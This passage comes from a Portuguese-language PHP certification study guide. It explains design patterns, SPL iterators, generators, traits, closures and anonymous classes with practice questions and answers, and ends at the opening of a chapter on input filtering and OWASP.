para problemas comuns na área de engenharia de software.
Consiste na estratégia para resolução de problemas usuais no contexto da programação orientada
à objetos e oferece um conjunto de diagramas (baseados na UML) selecionados pela renomada
“Gangue dos quatro”⁵⁹, que exploram as vantagens da POO e seus desafios, solucionando problemas
do cotidiano.
Padrões de projetos não enfatizam código, mas tratam conceitualmente do problema dando-lhe um
guia de como resolvê-lo, por conseguinte o programador implementa a solução na linguagem que
lhe for conveniente.

Singleton
Imagine que você esteja criando um aplicativo que se conecta repetidamente a um SGBD, para
recuperar dados de pedidos de faturas, sendo que todos os dados vêm sempre do mesmo banco.
Uma implementação provável seria:

1 include 'conexao.php'; //contendo as credencias do SGBD


2
3 $objeto1 = new Connection();
4 $objeto2 = new Connection();
5 $objeto3 = new Connection();

Para preservar recursos, você deveria garantir que apenas UMA conexão de banco de dados seja
estabelecida durante a requisição. O código também precisa abrir o mínimo de conexões possível.
Refatorando teríamos:

1 include 'conexao.php'; //contendo as credencias do SGBD


2
3 $objeto1 = Connection::getInstance();
4 $objeto2 = Connection::getInstance();
5 $objeto3 = Connection::getInstance();

Nesse cenário o Singleton restringe um determinado objeto a ser único, como uma instância global
para toda a aplicação.
No exemplo abaixo utilizamos o método getInstance() para identificar se houve uma nova
instanciação da classe Conexao e impedir que novos objetos subsequentes sejam criados a partir
dela.
⁵⁹Gang of Four (GoF) é um grupo formado por Erich Gamma, Richard Helm, Ralph Johnson e John Vlissides - expoentes na engenharia de software
- que escreveram um livro clássico contendo vários padrões de projetos. Mais informações em https://en.wikipedia.org/wiki/Design_Patterns.
Programação Orientada à Objetos 190

1 class Conexao
2 {
3 private $_conexao;
4
5 private function __construct()
6 {
7 //O DSN deve vir de um arquivo de configuração ou variáveis de ambiente
8 $this->_conexao = new PDO("mysql:host=localhost;dbname=zcpe","usr","pass");
9 echo "NOVA instancia<br>";
10 }
11
12 public static function getInstance()
13 {
14 static $instance = null;
15 if (is_null($instance)){
16 $instance = new Conexao();
17 }
18 else {
19 echo "Instancia já existe<br>";
20 }
21 return $instance;
22 }
23 }
24
25 $objeto1 = Conexao::getInstance();
26 $objeto2 = Conexao::getInstance();
27 $objeto3 = Conexao::getInstance();

Teremos como resultando:

1 NOVA instancia
2 Instancia já existe
3 Instancia já existe

Factory
Imagine que você queira carregar diferentes formatos de arquivos de configuração, que eventual-
mente podem ser arquivos .ini ou no formato XML, JSON e outros.
Seria interessante que o sistema nos permitisse criar um objeto sem a necessidade de conhecer os
detalhes de cada implementação.
Programação Orientada à Objetos 191

Nesse caso usaríamos o padrão Factory, pois é sabido que a subclasse terá especificidades de acordo
com cada formato desejado (.ini, .json, .xml, .yaml etc). Por outro lado devemos padronizar as
interfaces.
Observe o seguinte exemplo utlizado pelo Zend Framework, que ilustra o cenário ilustrado acima:

1 $config = Zend\Config\Factory::fromFile("config.json");
2 $config = Zend\Config\Factory::fromFile("config.xml");

Abaixo segue o diagrama UML do padrão de projeto Factory:

Observe que o método factoryMethod() da classe Creator é um método abstrato que será
implementado na classe concreta ConcreteCreator. Significa que o método factoryMethod()
abstrato possui apenas a “assinatura”.
No caso do problema mencionado acima, teremos diferentes formas de tratar os arquivos de
configuração (seja YAML, XML, JSON e outros) e utilizaríamos um diagrama de classes derivado do
padrão, semelhante a esse:
Programação Orientada à Objetos 192

MVC (Modelo-Visão-Controlador)
O padrão Model-View-Controller (comumente referenciado por MVC) provê uma estrutura que
separa a lógica de negócio (modelo) dos aspectos de interface (visão), mediados pelo controlador.
É uma arquitetura onde o model tem o propósito de atualizar o estado do sistema e a view altera a
apresentação das informações para o usuário, diante das ações realizadas pelo controlador. A idéia
fundamental do MVC tem enfoque na reusabilidade de código e separação de conceitos.

SPL - Biblioteca Padrão do PHP


A Standard PHP Library (Biblioteca Padrão do PHP) é uma coleção de interfaces e classes focadas
em auxiliar na resolução de problemas comuns.
Pertence ao core da linguagem e foi introduzido na versão 5.0 (em 2004), sendo que não pode mais
ser desabilitado desde a versão 5.3 do PHP.
Não é um framework e sim um conjunto de recursos para tratar estruturas de dados clássicas como
filas, pilhas e listas.
A SPL fornece um conjunto de iteradores, considerados como os recursos mais úteis da biblioteca,
que são classes especiais para percorrer elementos dos mais diversos. Sejam arquivos e diretórios do
filesystem, vasculhar documentos XML, iterar objetos dentre outros.
Essa iteração (diferente de “inteiração”) pode ser seletiva através de filtros invocados via callback,
implementa cache (que enxerga elementos a frente), disponibiliza recursividade, oferece código
simplificado, permite aninhamento de iteradores e apresenta um código reusável.
Usar SPL para percorrer estruturas transversais geralmente tem a execução mais rápida, pois é escrita
na linguagem C, gerando menos consumo de memória comparado ao PHP.
Internamente o iterator implementa cinco métodos:
Programação Orientada à Objetos 193

Método Descrição
rewind() Move o iterador de volta para o primeiro elemento
key() Devolve o índice do elemento atual
current() Retorna o valor do elemento atual
next() Move o ponteiro para o próximo elemento
valid() Verifica se há outro elemento para que o iterador possa se mover

Para usá-los utilize a palavra-chave new e configure as opções com as constantes disponíveis. Ex.:
FilesystemIterator::SKIP_DOTS. Essa constante, particularmente, serve para escapar do diretório
corrente (.) e do diretório pai (..).
Para aplicar essas configurações faz-se na instanciação ou utilizando o método setFlags() - veremos
exemplos mais adiante:

1 //Percorre o diretório atual


2 $dir = new DirectoryIterator(".");
3 foreach($dir as $arq)
4 {
5 var_dump($arq); //$arq é um OBJETO do tipo DirectoryIterator
6 }

Cada elemento dentro do laço é um objeto, com a possibilidade de convertê-lo para array através
da função iterator_to_array().
Essa observação é particularmente importante para tentar aplicar testes sobre $arq, como por
exemplo if(is_file($arq)), e o resultado não ser o esperado. Como estamos lidando com objetos,
o correto seria utilizar o método isFile(), nesse caso: if($arq->isFile()).
Há outros métodos interessantes como, por exemplo, getPathname() que devolve o caminho
completo do objeto arquivo.
Veja esse exemplo do uso de iterators aninhados, onde a saída de um alimenta a entrada de outro
promovendo um encadeamento:

1 //Percorre o diretório atual


2 $dir = new FilesystemIterator(".");
3
4 //Identifica os arquivos com extensão .jpg (maiúsculos ou minúsculos)
5 $jpg = new RegexIterator($dir, "/\.jpg/i");
6
7 //Extrai a partir do terceiro elemento e delimita em dois elementos
8 $seg = new LimitIterator($jpg, 3, 2);
9 foreach($seg as $arq){
10 echo $arq;
11 }
Programação Orientada à Objetos 194

A diferença da classe FilesystemIterator com relação a DirectoryIterator é que FilesystemI-


terator retorna o caminho completo dos arquivos, tanto no valor quanto no índice.

Para usuários de Windows o resultado pode ser algo parecido com: biblioteca/imagens\5_-
mini.jpg. Observe a mistura de barras (normal e invertida) no caminho. Esse resultado pode
atrapalhar a execução do código em ambientes Linux e OSX, então melhor seria adaptarmos para
que seja mais portável, passando ao construtor a constante FilesystemIterator::UNIX_PATHS. Ex.:

1 $dir = new FilesystemIterator(".", FilesystemIterator::UNIX_PATHS);


2 foreach($dir as $indice => $arq){
3 echo $indice." -> ".$arq."<br>";
4 }

Como foi dito no início desse capítulo, outra forma de passar opções à classe é através do método
setFlags(). Ex.:

1 $dir = new FilesystemIterator(".");


2 $dir->setFlags(FilesystemIterator::UNIX_PATHS | FilesystemIterator::KEY_AS_FILEN\
3 AME);
4 foreach($dir as $indice => $arq){
5 echo $indice." -> ".$arq."<br>";
6 }

Observe as principais diferenças entre as classes DirectoryIterator e FilesystemIterator, que


percorrem diretórios:

DirectoryIterator FilesystemIterator

Inclui arquivos . e .. Escapa os arquivos . e ..


Índices numerados Usa o caminho dos arquivos como índice
Caminho não incluso no valor Caminho incluso no valor
Sem opções de configuração Configurável
Ao atribuir num array, requer clonagem Clonagem não é necessária

Para percorrer a estrutura de diretórios recursivamente precisamos observar alguns detalhes.


Primeiramente preparar o diretório através da classe RecursiveDirectoryIterator e, num segundo
momento, utilizar a classe RecursiveIteratorIterator (que recebe o resultado da primeiro iterador
como argumento), que então fará a varredura de fato. Ex.:
Programação Orientada à Objetos 195

1 $dir = new RecursiveDirectoryIterator(".");


2 $dir->setFlags(RecursiveDirectoryIterator::SKIP_DOTS|RecursiveDirectoryIterator:\
3 :UNIX_PATHS);
4 $arquivos = new RecursiveIteratorIterator($dir);
5 $arquivos->setFlags(RecursiveIteratorIterator::SELF_FIRST);
6 foreach($arquivos as $indice => $arq)
7 {
8 echo $indice." -> ".$arq."<br>";
9 }

A constante RecursiveIteratorIterator::SELF_FIRST indica para que exiba o diretório corrente


e depois os arquivos da respectiva pasta.
Caso queira restringir a profundidade da busca recursiva, utilize: $arquivos->setMaxDepth(1);.
Na manipulação de arrays com tamanho fixo, segundo a documentação oficial, a classe SplFixe-
dArray é mais rápida e utiliza menos memória que a estrutura de array convencional.
O único inconveniente é que se restringe a índices numéricos inteiros, ao invés de lidar com arrays
associativos - onde a chave é uma string. Ex.:

1 $certificacoes = array('ZCE', 'ZFCA', 'CSM', 'MCP', 'LPI');


2 $certificacoes = SplFixedArray::fromArray($certificacoes); //importa o array
3 var_dump(is_object($certificacoes)); //retorna bool(true)
4 $certificacoes->offsetSet(3, 'Symfony Certification'); //substitui 'MCP'

Observe que $certificacoes agora tornou-se um objeto, instância da classe SplFixedArray e com
diversos métodos disponíveis: http://php.net/manual/en/class.splfixedarray.php.
Uma sugestão interessante e otimizada para armazenamento de objetos únicos em memória, seria
o uso da classe SplObjectStorage. Ex.:

1 //Configura um conjunto de objetos


2 $repositorio = new SplObjectStorage();
3
4 //Instancia objetos da classe nativa StdClass
5 $obj1 = new StdClass;
6 $obj2 = new StdClass;
7 $obj3 = new StdClass;
8
9 $repositorio->attach($obj1);
10
11 var_dump($repositorio->contains($obj1)); //bool(true)
12 var_dump($repositorio->contains($obj2)); //bool(false)

Uma função que garante a manipulação de objetos evitando redundância é a spl_object_hash().


Ex.:
Programação Orientada à Objetos 196

1 $objeto = new stdClass;


2 $id = spl_object_hash($objeto);
3 echo $id; //0000000040f3bac7000000001dd4dc8e
4 $repositorio[$id] = $objeto;

Generators
Como bem disse Josh Lockhart no seu livro “Modern PHP”⁶⁰, os generators são iteradores
simplificados.
Para você percorrer uma coleção de objetos, a forma elegante de fazê-lo é desenvolvendo uma classe
que implemente a interface Iterator⁶¹ - que demanda obrigatoriamente os métodos: rewind(),
current(), key(), next() e valid().

Nitidamente seria uma classe pesada e mais complexa, que carrega todos os elementos em memória
- como faz o iterador padrão PHP.
Já os generators computam e produzem iterações sob demanda, com reflexo direto no ganho de
performance. Utilizam foreach() para percorrer os dados sem a necessidade de construir um array
em memória.
Geradores permitem criar iterações de forma simples sem a necessidade de código extra desneces-
sário, que serviria apenas para cumprir uma assinatura (conhecido pelo termo boilerplate code).
O generator é uma função ou método que utiliza a palavra reservada yield para devolver o elemento
corrente (ao invés de return), diminuindo significativamente o uso de recurso computacional.

1 function familia() {
2 //Retorna um objeto da classe Generator
3 yield 'Ari Junior';
4 yield 'Ariane';
5 yield 'Ariel';
6 yield 'Laci';
7 yield 'Ari';
8 }
9
10 foreach (familia() as $pessoa) {
11 echo $pessoa."<br>";
12 }

Devolve:

⁶⁰http://shop.oreilly.com/product/0636920033868.do
⁶¹http://php.net/manual/pt_BR/class.iterator.php
Programação Orientada à Objetos 197

Ari Junior
Ariane
Ariel
Laci
Ari

No site da documentação oficial⁶² diz-se que os generators fornecem uma maneira fácil de imple-
mentar iteradores simples, sem a sobrecarga ou complexidade de criar uma classe que implemente
a interface Iterator.
Os geradores saberão quem é o próximo elemento da cadeia quando perguntados, mas não há como
retroceder, nem avançar até o final ao estilo fast forward. Mas nada impede de iterar várias vezes o
mesmo generator ou cloná-lo se necessário.
Para criar um generator basta criar uma função PHP que utiliza a palavra-chave yield uma ou mais
vezes.
Ao identificar a palavra-chave yield dentro da função/método nehum código interno é executado,
exceto quando essa função sofre iteração.

1 function gen() {
2 echo "Laci";
3 yield "Ari Junior";
4 echo "Paloma";
5 yield "Ari Neto";
6 echo "Ariane";
7 }
8 gen();

Ao chamar a função gen(), estranhamente nada é exibido, mesmo com várias instruções echo
incorporadas lá.
Mas ao percorrer o gerador, daí sim teremos a execução de gen(). Experimente substituir gen() por
foreach(gen() as $item){}.

Entenda o yield como um return especial que devolve a chave/valor corrente. Quando solicitado
o próximo elemento da iteração (através de foreach, por exemplo), o generator continua de onde
parou o último yield. Ele se lembra da série até ser chamado novamente.
Esse comportamento minimiza o overhead de manter diversos objetos em memória.
Por simplicidade, evita ter de implementar os cinco métodos da interface Iterator (promovida pela
SPL) que são: current, key, next, rewind e valid.
Veja um exemplo para leitura de arquivos:
⁶²https://secure.php.net/manual/pt_BR/language.generators.overview.php
Programação Orientada à Objetos 198

1 function obtemLinhas($arquivo) {
2 //Abre o arquivo em modo leitura
3 $arq = fopen($arquivo, 'r');
4 while(!feof($arq)) {
5 $linha = fgets($arq);
6 yield $linha;
7 }
8 //Fecha o manipulador de arquivo
9 fclose($arq);
10 }
11
12 foreach(obtemLinhas("familia.txt") as $linha){
13 echo $linha."<br>";
14 }

Antes da versão 7.0 do PHP a única forma de usar return dentro de um generator seria devolvendo
vazio (null), fazendo com que a série chegue ao final ignorando os demais yield. Ex.:

1 function colecao() {
2 yield 'a'; // iterador retorna "a"
3 yield null; // iterador retorna null
4 yield 'b'; // iterador retorna "b"
5 return null; // iterador encerrado
6 yield 'c';
7 }
8
9 //Exibe "ab" e ignora o "c", que seria o elemento da sequência
10 foreach(colecao() as $item){
11 echo $item;
12 }

Com o advento do PHP 7.0, tornou-se possível retornar um valor que não fosse nulo, sem gerar um
erro fatal como nas versões anteriores.
Programação Orientada à Objetos 199

1 function colecao() {
2 $quantidade = 0;
3 $vetor = array("Ari Junior", "Ariel", "Ariane", "Ari Neto");
4 while(list($indice, $valor) = each($vetor)) {
5 yield $valor;
6 $quantidade++;
7 }
8 return $quantidade;
9 }
10
11 //Cria uma instância do generator
12 $colecao = colecao();
13
14 foreach($colecao as $elemento){
15 echo $elemento."<br>";
16 }

A saída será:

Ari Junior
Ariel
Ariane
Ari Neto

Mas para resgatar o valor de retorno de um generator (nesse caso o conteúdo de $quantidade) você
precisa utilizar o método getReturn(). Ex.: $colecao->getReturn(); que mostrará 4.
Obs.: o método getReturn() só devolve seu valor quando a série acessada pelo generator for per-
corrida até o final. Caso haja um break no meio do laço, o getReturn() gera um Fatal error: Un-
caught Exception: Cannot get return value of a generator that hasn't returned in....

Qual a saída do código a seguir?

function gen() {
for ($i=0; $i<=3; $i++)
yield $i;
}
$generator = gen();
if(is_array($generator))
echo "Array";
elseif(is_object($generator))
echo "Objeto";
else
Programação Orientada à Objetos 200

echo "Nenhuma das duas";

________________ (campo aberto)

A palavra-chave yield deflagra que trata-se de uma instância da classe generator, portanto o teste
is_object() é verdadeiro. Então deve-se escrever no campo freetext exatamente a resposta: Objeto.

Uma nova capacidade implementada na versão 7.0 foi a delegação de generators. Veja esse exemplo:

1 function generatorA(){
2 yield "a";
3 $gB = yield from generatorB();
4 yield "g";
5 return $gB;
6 }
7
8 function generatorB(){
9 yield "b";
10 $gB = yield from ["c", "d", "e"];
11 yield "f";
12 return "Gerado a partir de generatorB";
13 }
14
15 $gen = generatorA();
16
17 foreach($gen as $elemento){
18 echo $elemento."<br>";
19 }
20
21 echo $gen->getReturn();

Na linha 15, ao instanciar o generatorA() o generator primeiramente devolve a e no passo seguinte


ele chama um novo generator que é generatorB() - através da instrução yield from.
Ao delegar, generatorB() assume a iteração até que, por sua vez, repassa novamente para um
terceiro generator (que nesse caso é um array literal).
Ao término da execução teremos:
Programação Orientada à Objetos 201

a
b
c
d
e
f
g
Gerado a partir de generatorB

Traits
Herdar é quando uma classe filha reutiliza atributos e métodos de uma classe ancestral. Como “efeito
colateral” a sub-classe incorpora todos os recursos disponíveis na classe pai, ou seja, toda a herança.
Podemos ter um pseudo-controle do que será herdado através do escopo de visibilidade, mas sabe-se
que na herança simples o reuso não é pleno, já que (conceitualmente falando) deveria ser possível
fazer uso de recursos contidos também em OUTRAS classes - caso PHP implementasse herança
múltipla, que não é o caso.
Alguns arquitetos de software argumentam que se houver necessidade de herança múltipla, talvez
seja indício de falha na modelagem.
PHP não implementa herança múltipla, consequentemente evita o Deadly diamond of death⁶³
(“Problema do Diamante”), que é o conflito quando há redundância de métodos herdados de classes
distintas. A classe filha não saberia que método usar se duas super-classes possuem um recurso de
mesmo nome.
⁶³https://en.wikipedia.org/wiki/Multiple_inheritance#The_diamond_problem
Programação Orientada à Objetos 202

Agora imagine o seguinte cenário, totalmente legítimo: temos classes Transfer e Compras que
necessitam exatamente do mesmo método chamado CargaDescarga().
Programação Orientada à Objetos 203

Antes do advento de traits (traduzindo do inglês seria algo como “traços” ou “características”),
seria obrigatório copiar tal método, duplicando código, o que seria péssimo. Com traits conseguimos
injetar o método em uma ou mais classes.
Como laboratório, experimente instalar o PHP Copy & Paste Detector⁶⁴ (comando phpcpd) e execute
o comando no ZendFramework 1, por exemplo: phpcpd vendor/zendframework/zendframework. O
resultado é um percentual de código replicado, que na época fazia-se necessário, numa era pré PHP
5.3 (sem traits).
É dito que os traits promovem “herança horizontal” e que são usados ao invés de instanciados,
sendo que classes podem usar vários traits ao mesmo tempo (assim como as interfaces), sabendo
que traits não podem herdar de outro traits.
Traits podem usar outros traits e possuem atributos, caso seja conveniente.
Voltando ao cenário do método CargaDescarga(), nós poderíamos desmembrar a classe Compras e
colocar esse recurso num trait chamado Recursos. Veja o exemplo:

⁶⁴https://github.com/sebastianbergmann/phpcpd
Programação Orientada à Objetos 204

1 class Passeios {
2 function PagaComissao(){
3 return "Paga comissao...";
4 }
5 }
6
7 trait Recursos {
8 function CargaDescarga(){
9 return "Realiza carga e descarga";
10 }
11 }
12
13 class Transfer extends Passeios {
14 use Recursos;
15 }
16
17 $obj = new Transfer;
18 echo $obj->CargaDescarga();

Em grandes projetos, porventura pode acontecer de existirem métodos de mesmo nome definidos
em diferentes traits. Veja esse exemplo:

1 trait Colaborador {
2 function preencherOpinario()
3 {
4 return "Opinario dos colaboradores";
5 }
6 }
7 trait Parceiro {
8 function preencherOpinario()
9 {
10 return "Opinario dos parceiros";
11 }
12 }
13 trait Cliente {
14 function preencherOpinario()
15 {
16 return "Opinario dos clientes";
17 }
18 }
19 class Estagiario {
20 use Colaborador, Parceiro, Cliente;
Programação Orientada à Objetos 205

21 }
22
23 $obj = new Estagiario;
24 echo $obj->preencherOpinario();

Perceba que preencherOpinario() consta nos traits Colaborador, Parceiro e Cliente. O erro fatal
ocorre antes mesmo de instanciar a classe Estagiario e invocar o método preencherOpinario(),
ainda no momento da definição da classe Estagiario:

Fatal error: Trait method PreencherOpinario has not been applied, because there \
are collisions with other trait methods on Estagiario in…

Nesse caso, para resolver a situação, devemos usar uma técnica de resolução de conflitos, através
do operador insteadof:

1 class Estagiario {
2 use Colaborador, Parceiro, Cliente {
3 Colaborador::PreencherOpinario insteadof Parceiro, Cliente;
4 }
5 }

Traduzindo instead of do inglês teremos “ao invés de”. Segundo o trecho de código acima, a classe
vai priorizar o método PreencherOpinario() do trait Colaborador diante dos recursos contidos em
Parceiro e Cliente.

Qual a saída do código PHP a seguir:

<?php
trait Colaborador {
function PreencherOpinario(){
return "colaboradores";
}
}

class Pessoa {
function PreencherOpinario(){
return "generico";
}
}

class Estagiario extends Pessoa{


use Colaborador;
Programação Orientada à Objetos 206

function PreencherOpinario(){
return "estagiarios";
}
}

$colega = new Estagiario;


echo $colega->PreencherOpinario();
?>

________________ (campo aberto)

Lembre-se que a ordem de uso dos métodos segue a seguinte sequência de fallback:
1º) da própria classe;
2º) do trait;
3º) da classe pai.
Mesmo que o método PreencherOpinario() esteja contida nessas três estruturas, será priorizado
inicialmente a classe local, depois o trait em uso e por fim a super-classe. Portanto a resposta correta
é estagiarios.
Outra técnica para distinção entre métodos é atribuir álias, que os diferencie:

1 class Estagiario {
2 use Colaborador, Parceiro, Cliente {
3 Colaborador::PreencherOpinario insteadof Parceiro, Cliente;
4 Parceiro::PreencherOpinario as OpinarioSimplificado;
5 }
6 }

O álias em traits é ainda mais versátil: ele permite alterar a visibilidade, já que um trait definido
como protected ou private, na excência, impedem seu uso. Veja esse exemplo:
Programação Orientada à Objetos 207

Quais das seguintes alternativas são FALSAS a respeito de traits em PHP?


[ escolha 2 ]

A: Múltiplos traits podem ser usados por uma única classe


B: Um trait pode implementar uma interface
C: Um trait pode declarar variáveis privadas
D: Traits são capazes de serem carregados automaticamente
E: Traits automaticamente resolvem conflitos com base na ordem de definição

Vamos observar a alternativa E: Traits automaticamente resolvem conflitos com base na or-
dem de definição, lembrando que há uma ordem no uso de métodos conflitantes que primeira-
mente inspeciona a própria classe, depois recorre ao trait e, por fim, vasculha a classe pai. Mas se
a classe usa diversos traits que contenham um mesmo método, é imprescindível usar a palavra-
chave insteadof na resolução do conflito. Portanto o PHP não o faz automaticamente como sugere
a alternativa, sendo assim a opção E é falsa.
A outra alternativa inválida é B: Um trait pode implementar uma interface pois o compilador
“copia” o código do trait na respectiva classe. Como um suposto implements AlgumaInterface
ficaria fora da classe, tal operação não é permitida.
Para verificar quais traits determinada classe está utilizando, chame a função class_uses():
Programação Orientada à Objetos 208

1 trait Cambio {};


2 trait Sindicato {};
3
4 class Financeiro
5 {
6 use Cambio, Sindicato;
7 }

1 var_dump(class_uses("Financeiro"));
2 array(2) {
3 ["Cambio"]=>
4 string(6) "Cambio"
5 ["Sindicato"]=>
6 string(9) "Sindicato"
7 }

Digamos que seu código tenha a função __autoload() implementada ou mesmo outra f\
unção registrada com spl_autoload_register(). Ao tentar usar um trait que ainda \
não tenha sido carregado, o auto carregamento será invocado e o trait disponibil\
izado?

A: Será carregado, mas gera um alerta de Warning


B: Não será carregado, pois traits não invocam o __autoload()
C: Gera um Fatal error
D: Normalmente como na autocarga de classes

A resposta aqui é D: Normalmente como na autocarga de classes. No exemplo abaixo a função


anônima registrada como autoloader, através da função spl_autoload_register(), carrega Meu-
Trait.inc.php e disponibiliza o recurso utilizado pela classe MinhaClasse. Veja esse exemplo:

1 spl_autoload_register(function ($nome) {
2 include $nome."inc.php";
3 });
4
5 class MinhaClasse {
6 use MeuTrait;
7 }
8
9 $obj = new MinhaClasse();
Programação Orientada à Objetos 209

Closures
As closures são funções anônimas e, por conseguinte, as variáveis internas possuem escopo local -
com exceção da variável especial $this que faz referência ao próprio objeto. No exemplo abaixo,
observe que o retorno do método ConverteEmKm() é uma função e, assim sendo, deve ser chamado
da seguinte forma: echo $fn();.

Caso quiséssemos acessar variáveis definidas externamente ao closure (supostamente não acessíveis)
utilizaremos a palavra-chave use passando como parâmetro todas as variáveis desejadas. Caso não
utilize use, o PHP acusaria Notice: Undefined variable: km in....
Programação Orientada à Objetos 210

Você pode passar inúmeras variáveis como argumentos de use separando-os por vírgula. Por
exemplo: use ($var, &$total, $subtotal).
Outra forma de associar estados ao objeto Closure é através do método bindTo(). Esse método
permite associar o estado interno de uma clousure com um objeto diferente, possibilitando acesso
à variáveis membro protegidas e privadas do objeto na qual a closure está sendo vinculada.

<?php
class Number {
private $v = 0;
public function __construct($v) { $this->v = $v; }
public function mul() {
return function ($x) { return $this->v * $x; };
}
}

$one = new Number(1);


$two = new Number(2);
$double = $two->mul()->bindTo($one);
echo $double(5);

_____________ (campo aberto)

Os objetos $one e $two guardam em seu atributo $v, respectivamente, os valores 1 e 2.


Se invocássemos apenas $double = $two->mul(); a saída do código seria a multiplicação de 2
(conteúdo inicializado em $v) multiplicado por 5 (parâmetro da closure), que resultaria em 10.
Programação Orientada à Objetos 211

Porém utilizamos o método bindTo() passando o estado de outro objeto, que tem o valor 1 atribuido
em $v.
Assim sendo o resultado será 1 * 5 = 5. A resposta que deve ser digitada é 5.

Classes anônimas
Essa é uma funcionalidade incorporada na versão 7.0 do PHP, que permite implementar classes
sem um nome associado. Significa que o desenvolvedor pode implementar uma classe que será
atribuída à uma variável, que pode ser o retorno de uma função e até passar como argumento de
uma função/método.
A sintaxe é exatamente a mesma da classe convencional (sem o nome, evidentemente). Ex.:

1 $obj = new class {


2 public function __construct(){
3 echo "Classe anônima<br>";
4 }
5 };
6
7 var_dump($obj);

O resultado do código acima será:

1 Classe anônima
2 object(class@anonymous)#1 (0) { }

Abaixo elencamos algumas situações interessantes que justificam o uso das anonymous classes,
dentre eles:

• quando a classe não precisa ser documentada


• classes de uso único e imediato
• em testes unitários (Unit Test)
• para evitar que sejam chamadas via autoloader, quando houver implementações triviais

Um inconveniente das classes anônimas é não poderem ser serializadas. É sabido que faz-se
necessário a definição de classe na realização do processo de unserialize(), processo inverso do
serialize().

Simulado
1.
Programação Orientada à Objetos 212

A classe minhaClasse contém o método __toString().


$obj é uma instância de minhaClasse.
Que comandos vão executar __toString()?

A: print $obj;
B: echo "$obj";
C: print (string)$obj;
D: echo '(',$obj,')';
E: print '('.$obj.')';

2.

Quais das seguintes linhas de código NÃO irão carregar a classe Servicos via __a\
utoload, se ela não estiver definida?

A: $a = new Servicos();
B: echo Servicos::$a;
C: class Passeios extends Servicos {}
D: $b = $a instanceof Servicos;

3.

<?php
class MinhaClasse {}
function facaAlgo(MinhaClasse $c = null) {
echo empty($c) ? "vazia" : "não vazia";
}
$c = new MinhaClasse;
facaAlgo();

Qual é a saída do código?


A: Fatal error
B: Parse error
C: vazia
D: não vazia

4.
Programação Orientada à Objetos 213

define("PI", 3.14159);
class Arquimedes
{
const PI = PI;
}
class Matematica
{
const PI = Arquimedes::PI;
}

echo Matematica::PI;

A: Parse error
B: Matematica::PI
C: 3.14159
D: PI
E: Arquimedes::PI

5.

O termo "instanceof" é um exemplo de?

A: booleano
B: operador
C: função
D: um construtor da linguagem
E: uma classe mágica

Respostas do simulado
1.
Nessa pergunta, TODAS as alternativas estão corretas: A, B, C, D e E.
Analise o seguinte trecho de código:
Programação Orientada à Objetos 214

1 class minhaClasse{
2 function __toString(){
3 return "Exibe";
4 }
5 }
6
7 $obj = new minhaClasse;
8
9 print $obj; //Alternativa A:
10 echo "$obj"; //Alternativa B:
11 print (string)$obj; //Alternativa C:
12 echo '(',$obj,')'; //Alternativa D:
13 print '('.$obj.')'; //Alternativa E:

A confusão pode ocorrer na alternativa D: echo '(',$obj,')'; onde aparecem vírgulas ao invés
de pontos (concatenação). Embora muitos não saibam, o echo suporta vírgulas para cada argumento
passado, diferentemente de print que requer o ponto para concatenação.
Numa análise mais aprofundada, a título de curiosidade, percebe-se um ganho de performance no
uso de vírgulas.
Nesse exemplo o script resultante então seria: ExibeExibeExibe(Exibe)(Exibe).
Portanto o método mágico __toString() seria invocado em todas as vezes.
2.
Aqui o importante é observar o enunciado no negativo.
Estamos habituados em focar na(s) alternativa(s) correta(s). Nesse caso as alternativas estão todas
coerentes – exceto uma.
Tanto as opções A, B e C chamam a classe Servicos. Primeiramente instanciando respectivamente
via atributo estático e por herança.
A alternativa D não faz sentido pois o operador instanceof retorna verdadeiro se o objeto $a é
uma instância de Servicos e falso o contrário. Nessa instrução a classe Servicos não é requerida
e portanto o __autoload não se manifesta. Portanto a resposta certa é D: $b = $a instanceof
Servicos;.

3.
Exemplo de questão que usa a identação para confundir o aspirante ao título ZCPE. Olhando
rapidamente, dá impressão de que a função procedural facaAlgo() é um método, pois está
deslocada para a direita. Mas é apenas uma função convencional definida no namespace global.
Outro detalhe crucial é o Type Hint garantindo que o argumento será uma instância da classe
MinhaClasse.
Programação Orientada à Objetos 215

Sabe-se que o null é o valor default caso o parâmetro não seja informado e a sintaxe do PHP aceita
essa construção. Nesse caso o operador ternário mostra em tela o termo vazia, assim sendo a
alternativa C é a resposta correta.
4.
No código teremos a constante PI com o valor 3.14159. Depois a classe Arquimedes usa essa
constante “global” numa constante “interna” da classe, também chamada de PI. Sendo que a classe
Matematica também tem a sua constante PI que recebe o conteúdo de Arquimedes::PI, então o
resultado será a alternativa C: 3.14159.
5.
Vamos por eliminação: classe mágica não existe em PHP, logo descarte a alternativa E. Definiva-
mente ele não é um booleano, desta maneira a opção A também é descartada.
Sabemos que instanceof é um operador de tipo e avalia se um objeto é uma instância de determinada
classe. Objetos e classes são operandos de instanceof que devolve true ou false, em vista disso a
resposta é B: operador.
Segurança
Tenha sempre em mente o seguinte mantra: jamais confie em dados vindos do usuário. Essa é
uma regra básica que estigmatiza toda entrada de dados (de origem externa) como potencialmente
perigosa.
Por consequência lembre-se de filtrar e validar os dados de input como GET, POST, Cookie,
cabeçalhos HTTP (veremos adiante no tópico “Filtragem de dados de entrada”) e sempre tratar
a saída dos dados, pois eles podem deteriorar o sistema ao exibir código malicioso (veremos em
detalhes no tópico “Escapar saída de dados”). A regra básica é seguir o FIEO: Filter Input and Escape
Ouput.
Lembre-se que dados de entrada podem ser também cabeçalhos HTTP, Web Services, URLs, variáveis
de ambiente, banco de dados, APIs e outros.
Um conjunto de funções interessantes na filtragem de dados são as da família ctype_* (Character
type checking), dentre elas a função ctype_alnum() que verifica se os caracteres são alfanuméricos
e ctype_digit() que testa se os dados são numéricos.

Que função pode ser usada para validar se uma determinada cadeia consiste em ape\
nas letras e números?

A: ctype_alnum()
B: cytpe_alpha()
C: ctype_letterdigit()
D: ctype_xdigit()

Essa pergunta possui armadilhas nos nomes das funções. A função ctype_alpha() realmente existe
(vide alternativa B) e pode ser facilmente associada com alphanumeric, mas o nome “alpha” vem de
alphabetic – entretanto valida somente letras.
A função ctype_letterdigit() (da alternativa C) não existe e ctype_xdigit() (alternativa D) testa
se o argumento é hexadecimal: que são dados representados por 16 símbolos formados pela cadeia
de caracteres 0-9 e A-F.
Portanto a alternativa A é a opção correta: função ctype_alnum().
Retomando o tópico segurança, é importante que saibam da existência do projeto OWASP, sigla de
Open Web Application Security Project http://www.owasp.org.
OWASP é um projeto aberto para segurança de aplicações web sem fins lucrativos, orientada pelo
consenso, com o objetivo de disseminar conhecimento sobre segurança na internet.
Segurança 217

Não entraremos a fundo em cada ataque catalogado peloa OWASP, mas iremos explorar os mais
signficativos.

